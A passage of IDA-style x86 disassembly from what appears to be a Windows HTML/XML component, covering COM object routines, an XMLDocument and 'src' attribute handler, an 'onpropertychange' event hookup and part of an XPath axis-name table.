mov [edx], ecx
locret_69B5E263: ; CODE XREF: sub_69B5E228+37j
retn 4
sub_69B5E228 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E266 proc near ; CODE XREF: sub_69B5E2DC+5j
; .text:69B5E2E8j
; DATA XREF: ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
lea esi, [edi+0Ch]
push esi ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
test eax, eax
jnz short loc_69B5E28F
test edi, edi
jz short loc_69B5E28B
mov ecx, edi
call sub_69B5E06D
push edi
call sub_69B1B2B7
loc_69B5E28B: ; CODE XREF: sub_69B5E266+16j
xor eax, eax
jmp short loc_69B5E291
; ---------------------------------------------------------------------------
loc_69B5E28F: ; CODE XREF: sub_69B5E266+12j
mov eax, [esi]
loc_69B5E291: ; CODE XREF: sub_69B5E266+27j
pop edi
pop esi
retn 4
sub_69B5E266 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E296 proc near ; CODE XREF: sub_69B5E365+3p
push dword ptr [ecx+14h]
mov dword ptr [ecx-4], offset off_69B12B18
mov dword ptr [ecx], offset off_69B29230
call sub_69B1B2B7
jmp sub_69B2C65C
sub_69B5E296 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E2B0 proc near ; CODE XREF: sub_69B5E330+3p
push esi
mov esi, ecx
push offset dword_69B5E2CC
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B5E2B0 endp
; ---------------------------------------------------------------------------
align 4
dword_69B5E2CC dd 0EAE1BA61h, 11CFA4EDh, 8000208Fh, 64D02C5Fh
; =============== S U B R O U T I N E =======================================
sub_69B5E2DC proc near ; DATA XREF: .text:69B291DCo
arg_0 = dword ptr 4
sub [esp+arg_0], 4
jmp short sub_69B5E266
sub_69B5E2DC endp
; ---------------------------------------------------------------------------
loc_69B5E2E3: ; DATA XREF: .text:69B291C8o
sub dword ptr [esp+4], 8
jmp sub_69B5E266
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5E2ED proc near ; CODE XREF: sub_69B3CF5C+1Fp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push 28h
call sub_69B11E44
test eax, eax
jz short loc_69B5E310
lea ecx, [ebp+var_4]
push ecx
mov ecx, eax
call sub_69B5E228
mov esi, eax
jmp short loc_69B5E312
; ---------------------------------------------------------------------------
loc_69B5E310: ; CODE XREF: sub_69B5E2ED+12j
xor esi, esi
loc_69B5E312: ; CODE XREF: sub_69B5E2ED+21j
cmp [ebp+var_4], 0
jge short loc_69B5E32B
test esi, esi
jz short loc_69B5E329
mov ecx, esi
call sub_69B5E06D
push esi
call sub_69B1B2B7
loc_69B5E329: ; CODE XREF: sub_69B5E2ED+2Dj
xor esi, esi
loc_69B5E32B: ; CODE XREF: sub_69B5E2ED+29j
mov eax, esi
pop esi
leave
retn
sub_69B5E2ED endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5E330(int, int, LPCWSTR lpString)
sub_69B5E330 proc near ; CODE XREF: sub_69B5E384+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
lpString = dword ptr 0Ch
push esi
mov esi, ecx
call sub_69B5E2B0
mov eax, [esp+4+arg_0]
push [esp+4+lpString] ; lpString
mov [esi+10h], eax
mov eax, [esp+8+arg_4]
mov dword ptr [esi], offset off_69B12B18
mov dword ptr [esi+4], offset off_69B29230
mov [esi+14h], eax
call sub_69B8AADD
mov [esi+18h], eax
mov eax, esi
pop esi
retn 0Ch
sub_69B5E330 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E365 proc near ; DATA XREF: .text:off_69B29230o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B5E296
test [esp+4+arg_0], 1
jz short loc_69B5E37D
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B5E37D: ; CODE XREF: sub_69B5E365+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B5E365 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5E384(int, int, LPCWSTR lpString)
sub_69B5E384 proc near ; CODE XREF: sub_69B5E3D0+28p
; sub_69B5E40C+1A1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
lpString = dword ptr 0Ch
push esi
push edi
push 1Ch
mov edi, ecx
call sub_69B11E44
test eax, eax
jz short loc_69B5E3AA
push [esp+8+lpString] ; lpString
mov ecx, eax
push [esp+0Ch+arg_4] ; int
push [esp+10h+arg_0] ; int
call sub_69B5E330
mov esi, eax
jmp short loc_69B5E3AC
; ---------------------------------------------------------------------------
loc_69B5E3AA: ; CODE XREF: sub_69B5E384+Dj
xor esi, esi
loc_69B5E3AC: ; CODE XREF: sub_69B5E384+24j
test esi, esi
jz short loc_69B5E3C4
mov eax, [edi+10h]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+20h]
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B5E3C9
; ---------------------------------------------------------------------------
loc_69B5E3C4: ; CODE XREF: sub_69B5E384+2Aj
mov edi, 8007000Eh
loc_69B5E3C9: ; CODE XREF: sub_69B5E384+3Ej
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B5E384 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E3D0 proc near ; DATA XREF: .text:69B291E4o
arg_0 = dword ptr 4
arg_20 = dword ptr 24h
push esi
push edi
push 0
push 0C00CE38Ch
call sub_69B2F944
pop ecx
mov esi, eax
mov eax, [esi]
pop ecx
push esi
call dword ptr [eax+4]
push dword ptr [esi+0Ch] ; lpString
mov ecx, [esp+0Ch+arg_0]
push 0 ; int
push [esp+10h+arg_20] ; int
add ecx, 0FFFFFFFCh
call sub_69B5E384
mov edi, eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, edi
pop edi
pop esi
retn 30h
sub_69B5E3D0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E40C proc near ; DATA XREF: .text:69B291E8o
push 48h
push offset dword_69B5E610
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B5E431
mov eax, 80004005h
jmp loc_69B5E5E1
; ---------------------------------------------------------------------------
loc_69B5E431: ; CODE XREF: sub_69B5E40C+19j
mov dword ptr [ebp-20h], 80004005h
mov [ebp-24h], ebx
mov [ebp-28h], ebx
mov edi, [ebp+8]
cmp dword ptr [edi+14h], 1
jnz loc_69B5E5C3
add edi, 0FFFFFFFCh
mov ecx, edi
call sub_69B5DAE5
mov esi, eax
mov [ebp-24h], esi
cmp esi, ebx
jz loc_69B5E5C3
lea eax, [ebp-28h]
push eax
mov ecx, edi
call sub_69B5DCDA
mov [ebp-20h], eax
push ebx
push dword ptr [ebp-1Ch]
lea ecx, [ebp-34h]
call sub_69B1A8C7
mov word ptr [ebp-44h], 9
cmp [ebp-20h], ebx
jl short loc_69B5E48F
mov eax, [ebp-28h]
mov [ebp-3Ch], eax
jmp short loc_69B5E492
; ---------------------------------------------------------------------------
loc_69B5E48F: ; CODE XREF: sub_69B5E40C+79j
mov [ebp-3Ch], ebx
loc_69B5E492: ; CODE XREF: sub_69B5E40C+81j
lea eax, [ebp-44h]
push eax
push offset aXmldocument_0 ; "XMLDocument"
call sub_69B1D494
push eax
push esi
call sub_69B5E93B
cmp [ebp-20h], ebx
jl loc_69B5E5BB
cmp [ebp-28h], ebx
jz loc_69B5E5BB
cmp eax, ebx
jge short loc_69B5E4C5
mov [ebp-20h], eax
jmp loc_69B5E5BB
; ---------------------------------------------------------------------------
loc_69B5E4C5: ; CODE XREF: sub_69B5E40C+AFj
push esi
mov ecx, edi
call sub_69B5E1BC
test eax, eax
jz loc_69B5E592
push offset dword_69B5E5FC
push dword ptr [ebp-28h]
call sub_69B2F4B8
mov edi, eax
cmp edi, ebx
jz loc_69B5E5BB
mov [ebp-4], ebx
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-48h], eax
mov ecx, eax
call sub_69B2F43C
mov [ebp-48h], eax
mov eax, [eax+8]
mov [ebp-4Ch], eax
cmp eax, ebx
jle short loc_69B5E575
mov [ebp-50h], ebx
mov eax, [edi]
lea ecx, [ebp-50h]
push ecx
push offset stru_69B25E84
push edi
call dword ptr [eax]
mov [ebp-20h], eax
cmp eax, ebx
jl short loc_69B5E575
mov [ebp-54h], ebx
mov eax, [ebp-50h]
mov ecx, [eax]
lea edx, [ebp-54h]
push edx
push offset dword_69B5E5EC
push eax
call dword ptr [ecx]
mov [ebp-20h], eax
mov eax, [ebp-50h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
cmp [ebp-20h], ebx
jl short loc_69B5E575
mov eax, [ebp+8]
push dword ptr [eax+20h] ; lpString
mov ecx, [ebp-54h]
call sub_69B3745D
mov eax, [ebp-54h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [ebp-28h]
mov ecx, [eax]
lea edx, [ebp-58h]
push edx
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+104h]
loc_69B5E575: ; CODE XREF: sub_69B5E40C+100j
; sub_69B5E40C+118j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B5E58D
; ---------------------------------------------------------------------------
loc_69B5E57B: ; DATA XREF: .text:69B5E614o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5E584: ; DATA XREF: .text:69B5E618o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B5E58D: ; CODE XREF: sub_69B5E40C+16Dj
mov [ebp-20h], ebx
jmp short loc_69B5E5BB
; ---------------------------------------------------------------------------
loc_69B5E592: ; CODE XREF: sub_69B5E40C+C3j
push 80070005h
call sub_69B1D411
mov esi, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
push dword ptr [esi+0Ch] ; lpString
push ebx ; int
push dword ptr [ebp+20h] ; int
mov ecx, edi
call sub_69B5E384
mov [ebp-20h], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B5E5BB: ; CODE XREF: sub_69B5E40C+9Ej
; sub_69B5E40C+A7j ...
lea ecx, [ebp-34h]
call sub_69B1976C
loc_69B5E5C3: ; CODE XREF: sub_69B5E40C+39j
; sub_69B5E40C+50j
lea eax, [ebp-28h]
push eax
call sub_69B5DACB
lea eax, [ebp-24h]
push eax
call sub_69B5DACB
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B5E5E1: ; CODE XREF: sub_69B5E40C+20j
call sub_69B1853C
retn 28h
sub_69B5E40C endp
; ---------------------------------------------------------------------------
align 4
dword_69B5E5EC dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
; DATA XREF: sub_69B5E40C+126o
dword_69B5E5FC dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h, 90909090h
; DATA XREF: sub_69B5E40C+C9o
dword_69B5E610 dd 0FFFFFFFFh dd offset loc_69B5E57B
dd offset loc_69B5E584
; =============== S U B R O U T I N E =======================================
sub_69B5E61C proc near ; DATA XREF: .text:69B29238o
; .text:69B5CF28o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx+4]
lea edx, [eax+1]
mov [ecx+4], edx
retn 4
sub_69B5E61C endp
; =============== S U B R O U T I N E =======================================
sub_69B5E62C proc near ; DATA XREF: .text:69B2923Co
; .text:69B5CF2Co
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
dec dword ptr [ecx+4]
mov eax, [ecx+4]
jnz short locret_69B5E641
mov eax, [ecx]
push 1
call dword ptr [eax+1Ch]
xor eax, eax
locret_69B5E641: ; CODE XREF: sub_69B5E62C+Aj
retn 4
sub_69B5E62C endp
; =============== S U B R O U T I N E =======================================
sub_69B5E644 proc near ; DATA XREF: .text:69B5CF3Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0FFFFFD9Fh
jz short loc_69B5E66E
cmp [esp+arg_4], 0C6h
jz short loc_69B5E65F
mov eax, 80020003h
jmp short locret_69B5E67A
; ---------------------------------------------------------------------------
loc_69B5E65F: ; CODE XREF: sub_69B5E644+12j
mov eax, [esp+arg_0]
mov eax, [eax+18h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short locret_69B5E67A
; ---------------------------------------------------------------------------
loc_69B5E66E: ; CODE XREF: sub_69B5E644+8j
mov eax, [esp+arg_0]
mov eax, [eax+18h]
mov ecx, [eax]
push eax
call dword ptr [ecx]
locret_69B5E67A: ; CODE XREF: sub_69B5E644+19j
; sub_69B5E644+28j
retn 24h
sub_69B5E644 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E67D proc near ; CODE XREF: sub_69B5E846+3p
mov dword ptr [ecx], offset off_69B29234
mov ecx, [ecx+1Ch]
test ecx, ecx
jz short locret_69B5E690
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
locret_69B5E690: ; CODE XREF: sub_69B5E67D+Bj
retn
sub_69B5E67D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B5E691(LPCWSTR lpStr1, int, int, int, int, int, int, int, int)
sub_69B5E691 proc near ; DATA XREF: .text:69B2924Co
var_8 = dword ptr -8
var_4 = dword ptr -4
lpStr1 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, [ebp+lpStr1]
mov eax, [edi+1Ch]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push eax
call dword ptr [ecx+0D4h]
mov esi, eax
test esi, esi
jl short loc_69B5E718
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B5E728
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_69B5E70F
mov eax, [ebp+var_4]
and [ebp+lpStr1], 0
mov ecx, [eax]
lea edx, [ebp+lpStr1]
push edx
push eax
call dword ptr [ecx+2Ch]
mov esi, eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test esi, esi
jl short loc_69B5E706
push 3 ; nChar
push offset aSrc ; "src"
push [ebp+lpStr1] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B5E706
mov eax, [edi+18h]
mov ecx, [eax]
push eax
call dword ptr [ecx]
mov esi, eax
loc_69B5E706: ; CODE XREF: sub_69B5E691+55j
; sub_69B5E691+69j
push [ebp+lpStr1] ; BSTR
call SysFreeString
loc_69B5E70F: ; CODE XREF: sub_69B5E691+35j
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5E718: ; CODE XREF: sub_69B5E691+1Ej
pop edi
mov eax, esi
pop esi
leave
retn 24h
sub_69B5E691 endp
; ---------------------------------------------------------------------------
; const WCHAR aSrc
aSrc: ; DATA XREF: sub_69B5E691+59o
unicode 0, <src>,0
dword_69B5E728 dd 3050F48Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B5E738(int, int, OLECHAR *, int)
sub_69B5E738 proc near ; CODE XREF: sub_69B5D8D8+4Fp
; sub_69B5E892+9Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push esi
lea edx, [ebp+var_4]
push edx
push offset dword_69B5E7B4
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_69B5E7AC
push edi
push [ebp+arg_8] ; OLECHAR *
call SysAllocString
cmp [ebp+arg_C], 0
mov edi, eax
mov eax, [ebp+var_4]
mov ecx, [eax]
jz short loc_69B5E78E
lea edx, [ebp+arg_0+2]
push edx
push [ebp+arg_4]
push edi
push eax
call dword ptr [ecx+108h]
mov esi, eax
test esi, esi
jl short loc_69B5E79B
cmp word ptr [ebp+arg_0+2], 0
jnz short loc_69B5E79B
mov esi, 80004005h
jmp short loc_69B5E79B
; ---------------------------------------------------------------------------
loc_69B5E78E: ; CODE XREF: sub_69B5E738+31j
push [ebp+arg_4]
push edi
push eax
call dword ptr [ecx+10Ch]
mov esi, eax
loc_69B5E79B: ; CODE XREF: sub_69B5E738+46j
; sub_69B5E738+4Dj ...
push edi ; BSTR
call SysFreeString
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
pop edi
loc_69B5E7AC: ; CODE XREF: sub_69B5E738+1Aj
mov eax, esi
pop esi
leave
retn 10h
sub_69B5E738 endp
; ---------------------------------------------------------------------------
align 4
dword_69B5E7B4 dd 3050F434h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B R O U T I N E =======================================
sub_69B5E7C4 proc near ; CODE XREF: sub_69B5CF03+8p
; sub_69B5E861+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, ecx
mov dword ptr [eax+4], 1
lea edi, [eax+8]
movsd
movsd
movsd
movsd
pop edi
pop esi
retn 4
sub_69B5E7C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5E7DF proc near ; DATA XREF: .text:off_69B29234o
; .text:off_69B5CF24o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
test edx, edx
jnz short loc_69B5E7F0
mov eax, 80004003h
jmp short loc_69B5E842
; ---------------------------------------------------------------------------
loc_69B5E7F0: ; CODE XREF: sub_69B5E7DF+8j
and dword ptr [edx], 0
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
push 4
xor eax, eax
mov eax, [ebp+arg_0]
pop ecx
mov esi, offset dword_69B2AFE0
repe cmpsd
jz short loc_69B5E82A
mov edi, [ebp+arg_4]
push 4
pop ecx
lea esi, [eax+8]
xor ebx, ebx
repe cmpsd
jz short loc_69B5E82A
mov edi, [ebp+arg_4]
push 4
pop ecx
mov esi, offset stru_69B1CA6C
xor ebx, ebx
repe cmpsd
jnz short loc_69B5E83A
loc_69B5E82A: ; CODE XREF: sub_69B5E7DF+29j
; sub_69B5E7DF+38j
test eax, eax
mov [edx], eax
jz short loc_69B5E83A
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
jmp short loc_69B5E83F
; ---------------------------------------------------------------------------
loc_69B5E83A: ; CODE XREF: sub_69B5E7DF+49j
; sub_69B5E7DF+4Fj
mov eax, 80004002h
loc_69B5E83F: ; CODE XREF: sub_69B5E7DF+59j
pop edi
pop esi
pop ebx
loc_69B5E842: ; CODE XREF: sub_69B5E7DF+Fj
pop ebp
retn 0Ch
sub_69B5E7DF endp
; =============== S U B R O U T I N E =======================================
sub_69B5E846 proc near ; DATA XREF: .text:69B29250o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B5E67D
test [esp+4+arg_0], 1
jz short loc_69B5E85B
push esi
call sub_69B1B2B7
loc_69B5E85B: ; CODE XREF: sub_69B5E846+Dj
mov eax, esi
pop esi
retn 4
sub_69B5E846 endp
; =============== S U B R O U T I N E =======================================
sub_69B5E861 proc near ; CODE XREF: sub_69B5E892+73p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset stru_69B1CA6C
mov esi, ecx
call sub_69B5E7C4
mov eax, [esp+4+arg_0]
mov [esi+18h], eax
mov eax, [esp+4+arg_4]
test eax, eax
mov dword ptr [esi], offset off_69B29234
mov [esi+1Ch], eax
jz short loc_69B5E88C
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B5E88C: ; CODE XREF: sub_69B5E861+23j
mov eax, esi
pop esi
retn 8
sub_69B5E861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5E892 proc near ; CODE XREF: sub_69B5D064+B3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_4]
and dword ptr [esi], 0
mov eax, [ebx]
lea ecx, [ebp+arg_4]
push ecx
push ebx
call dword ptr [eax+9Ch]
test eax, eax
jl short loc_69B5E91A
mov eax, [ebp+arg_4]
mov ecx, [eax]
push edi
lea edx, [ebp+arg_0]
push edx
push (offset loc_69B2B07C+4)
push eax
call dword ptr [ecx]
mov edi, eax
mov eax, [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test edi, edi
jl short loc_69B5E919
mov eax, [ebp+arg_0]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1B0h]
mov edi, eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test edi, edi
jl short loc_69B5E919
push 20h
call sub_69B11E44
test eax, eax
jz short loc_69B5E90C
push [ebp+var_4]
mov ecx, eax
push [ebp+arg_8]
call sub_69B5E861
jmp short loc_69B5E90E
; ---------------------------------------------------------------------------
loc_69B5E90C: ; CODE XREF: sub_69B5E892+69j
xor eax, eax
loc_69B5E90E: ; CODE XREF: sub_69B5E892+78j
mov [esi], eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5E919: ; CODE XREF: sub_69B5E892+3Fj
; sub_69B5E892+5Ej
pop edi
loc_69B5E91A: ; CODE XREF: sub_69B5E892+1Ej
mov eax, [esi]
test eax, eax
jnz short loc_69B5E927
mov eax, 8007000Eh
jmp short loc_69B5E935
; ---------------------------------------------------------------------------
loc_69B5E927: ; CODE XREF: sub_69B5E892+8Cj
push 1 ; int
push offset aOnpropertychan ; "onpropertychange"
push eax ; int
push ebx ; int
call sub_69B5E738
loc_69B5E935: ; CODE XREF: sub_69B5E892+93j
pop esi
pop ebx
leave
retn 0Ch
sub_69B5E892 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5E93B proc near ; CODE XREF: sub_69B5D064+7Ep
; sub_69B5E40C+96p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
and [ebp+var_4], 0
push ebx
push esi
push edi
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov ebx, [ebp+arg_0]
lea ecx, [ebp+var_4]
push ecx
mov [ebp+var_8], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+9Ch]
mov ecx, [ebp+var_4]
test ecx, ecx
jz loc_69B5EA0A
test eax, eax
jl loc_69B5EA0A
and [ebp+arg_0], 0
mov eax, [ecx]
lea edx, [ebp+arg_0]
push edx
push (offset loc_69B2B07C+4)
push ecx
call dword ptr [eax]
mov esi, eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_69B5EA0F
mov ecx, [eax]
lea edx, [ebp+arg_4+2]
push edx
push eax
call dword ptr [ecx+0B8h]
mov esi, eax
test esi, esi
jl short loc_69B5E9FF
cmp word ptr [ebp+arg_4+2], 0FFFFh
jz short loc_69B5E9CB
mov eax, [ebp+arg_0]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+0B4h]
mov esi, eax
loc_69B5E9CB: ; CODE XREF: sub_69B5E93B+7Ej
test esi, esi
jl short loc_69B5E9FF
mov esi, [ebp+arg_8]
mov eax, [ebx]
push 1
sub esp, 10h
mov edi, esp
push [ebp+var_8]
movsd
movsd
movsd
push ebx
movsd
call dword ptr [eax+1Ch]
cmp word ptr [ebp+arg_4+2], 0FFFFh
mov esi, eax
jz short loc_69B5E9FF
mov eax, [ebp+arg_0]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+0B4h]
mov esi, eax
loc_69B5E9FF: ; CODE XREF: sub_69B5E93B+77j
; sub_69B5E93B+92j ...
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_69B5EA0F
; ---------------------------------------------------------------------------
loc_69B5EA0A: ; CODE XREF: sub_69B5E93B+34j
; sub_69B5E93B+3Cj
mov esi, 80004005h
loc_69B5EA0F: ; CODE XREF: sub_69B5E93B+64j
; sub_69B5E93B+CDj
push [ebp+var_8] ; BSTR
call SysFreeString
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
sub_69B5E93B endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5EA21(int, int, VARIANTARG *pvarg)
sub_69B5EA21 proc near ; CODE XREF: .text:69B5D37Dp
; sub_69B77AF4+21p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pvarg = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [eax+0Ch]
push esi
push edi
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
push [esp+8+pvarg] ; pvarg
mov esi, eax
call VariantInit
push [esp+8+pvarg]
mov eax, [esp+0Ch+arg_0]
mov ecx, [eax]
push 0
push esi
push eax
call dword ptr [ecx+20h]
push esi ; BSTR
mov edi, eax
call SysFreeString
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B5EA21 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EA61 proc near ; CODE XREF: sub_69B5EBFB+4p
; sub_69B5F498+9p ...
inc dword ptr [ecx+48h]
cmp dword ptr [ecx+48h], 400h
jle short locret_69B5EA77
push 8007000Eh
call sub_69B2E8B8
locret_69B5EA77: ; CODE XREF: sub_69B5EA61+Aj
retn
sub_69B5EA61 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EA78 proc near ; CODE XREF: sub_69B5EB96+7p
; sub_69B5EBA5+17p ...
cmp word ptr [ecx+0Eh], 0
jz short locret_69B5EA8F
mov eax, [ecx+18h]
mov dx, [eax]
add eax, 2
mov [ecx+0Eh], dx
mov [ecx+18h], eax
locret_69B5EA8F: ; CODE XREF: sub_69B5EA78+5j
retn
sub_69B5EA78 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EA90 proc near ; CODE XREF: sub_69B3D903+35p
; DATA XREF: .text:69B12B94o
mov eax, offset off_69B5EA98
retn
sub_69B5EA90 endp
; ---------------------------------------------------------------------------
align 4
off_69B5EA98 dd offset dword_69B18894 ; DATA XREF: sub_69B5EA90o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
sub_69B5EAA0 proc near ; CODE XREF: sub_69B5F23C+8Dp
; sub_69B5F23C+CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B5EABC
cmp [esp+arg_4], 0
jz short locret_69B5EAD7
push [esp+arg_4]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+48h]
jmp short locret_69B5EAD7
; ---------------------------------------------------------------------------
loc_69B5EABC: ; CODE XREF: sub_69B5EAA0+6j
mov eax, [esp+arg_4]
test eax, eax
jnz short locret_69B5EAD7
push offset off_69B1A5AC
call sub_69B65631
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
locret_69B5EAD7: ; CODE XREF: sub_69B5EAA0+Dj
; sub_69B5EAA0+1Aj ...
retn 8
sub_69B5EAA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EADA proc near ; CODE XREF: sub_69B5FEEC+91p
; sub_69B60077+16p ...
mov eax, [ecx+20h]
cmp eax, 0FFFFFFBEh
jg short loc_69B5EAF9
cmp eax, 0FFFFFFBDh
jge short loc_69B5EB08
cmp eax, 0FFFFFFB5h
jz short loc_69B5EB08
cmp eax, 0FFFFFFB8h
jle short loc_69B5EAF6
cmp eax, 0FFFFFFBAh
jle short loc_69B5EB08
loc_69B5EAF6: ; CODE XREF: sub_69B5EADA+15j
; sub_69B5EADA+22j ...
xor al, al
retn
; ---------------------------------------------------------------------------
loc_69B5EAF9: ; CODE XREF: sub_69B5EADA+6j
cmp eax, 0FFFFFFFDh
jl short loc_69B5EAF6
cmp eax, 0FFFFFFFEh
jle short loc_69B5EB08
cmp eax, 24h
jnz short loc_69B5EAF6
loc_69B5EB08: ; CODE XREF: sub_69B5EADA+Bj
; sub_69B5EADA+10j ...
mov al, 1
retn
sub_69B5EADA endp
; =============== S U B R O U T I N E =======================================
sub_69B5EB0B proc near ; CODE XREF: sub_69B5F881+218p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
push 8
push offset off_69B5EB38
call sub_69B63D0A
test eax, eax
jnz short loc_69B5EB2A
xor al, al
jmp short loc_69B5EB32
; ---------------------------------------------------------------------------
loc_69B5EB2A: ; CODE XREF: sub_69B5EB0B+19j
mov eax, [eax+4]
mov [esi+20h], eax
mov al, 1
loc_69B5EB32: ; CODE XREF: sub_69B5EB0B+1Dj
pop esi
retn 8
sub_69B5EB0B endp
; ---------------------------------------------------------------------------
align 4
off_69B5EB38 dd offset aAncestor ; DATA XREF: sub_69B5EB0B+Do
; "ancestor"
dd 0FFFFFFBEh
dd offset aAncestorOrSelf ; "ancestor-or-self"
dd 0FFFFFFBDh
dd offset aAttribute ; "attribute"
dd 0FFFFFFBCh
dd offset aChild ; "child"
dd 0FFFFFFBBh
dd offset aDescendant ; "descendant"
dd 0FFFFFFBAh
